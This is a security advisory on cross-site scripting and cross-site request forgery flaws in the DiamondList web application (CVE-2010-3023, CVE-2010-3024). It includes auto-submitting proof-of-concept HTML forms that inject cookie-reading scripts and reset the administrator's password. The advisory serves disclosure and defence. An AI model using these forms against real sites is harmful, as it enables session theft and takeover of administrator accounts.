Multiple Vulnerabilities in DiamondList

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in DiamondList which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerability in DiamondList: CVE-2010-3023
1.1 The vulnerability exists due to input sanitation error in the "setting[site_title]" parameter in user/main/update_settings. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application.
Exploitation example:
<form action="http://host/user/main/update_settings" method="post" name="main" >
<input type="hidden" name="setting[site_title]" value='Wishlists</title><script>alert(document.cookie)</script>' />
<input type="hidden" name="setting[site_keywords]" value="wishlists, applications" />
<input type="hidden" name="setting[site_description]" value="Powered by DiamondList" />
<input type="hidden" name="setting[theme]" value="default" />
<input type="hidden" name="commit" value="Save Settings" />
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to input sanitation error in the "category[description]" parameter in user/main/update_category. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application.
Exploitation example:
<form action="http://host/user/main/update_category/CATEGORY_ID" method="post" name="main" >
<input type="hidden" name="category[name]" value="some cat name" />
<input type="hidden" name="category[description]" value='descr<script>alert(document.cookie)</script>' />
<input type="hidden" name="commit" value="Update" />
</form>
<script>
document.main.submit();
</script>

2) Cross-site request forgery (CSRF) vulnerability in DiamondList: CVE-2010-3024
The vulnerability exists due to insufficient validation of the request origin in user/main/update_user. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s credentials.
Exploitation example:
<form action="http://host/user/main/update_user/1" method="post" name="main" >
<input type="hidden" name="user[email]" value="admin@example.com" />
<input type="hidden" name="user[first_name]" value="First Name" />
<input type="hidden" name="user[last_name]" value="Last Name" />
<input type="hidden" name="user[password]" value="1234" />
<input type="hidden" name="user[password_confirmation]" value="1234" />
<input type="hidden" name="commit" value="Update" />
</form>
<script>
document.main.submit();
</script>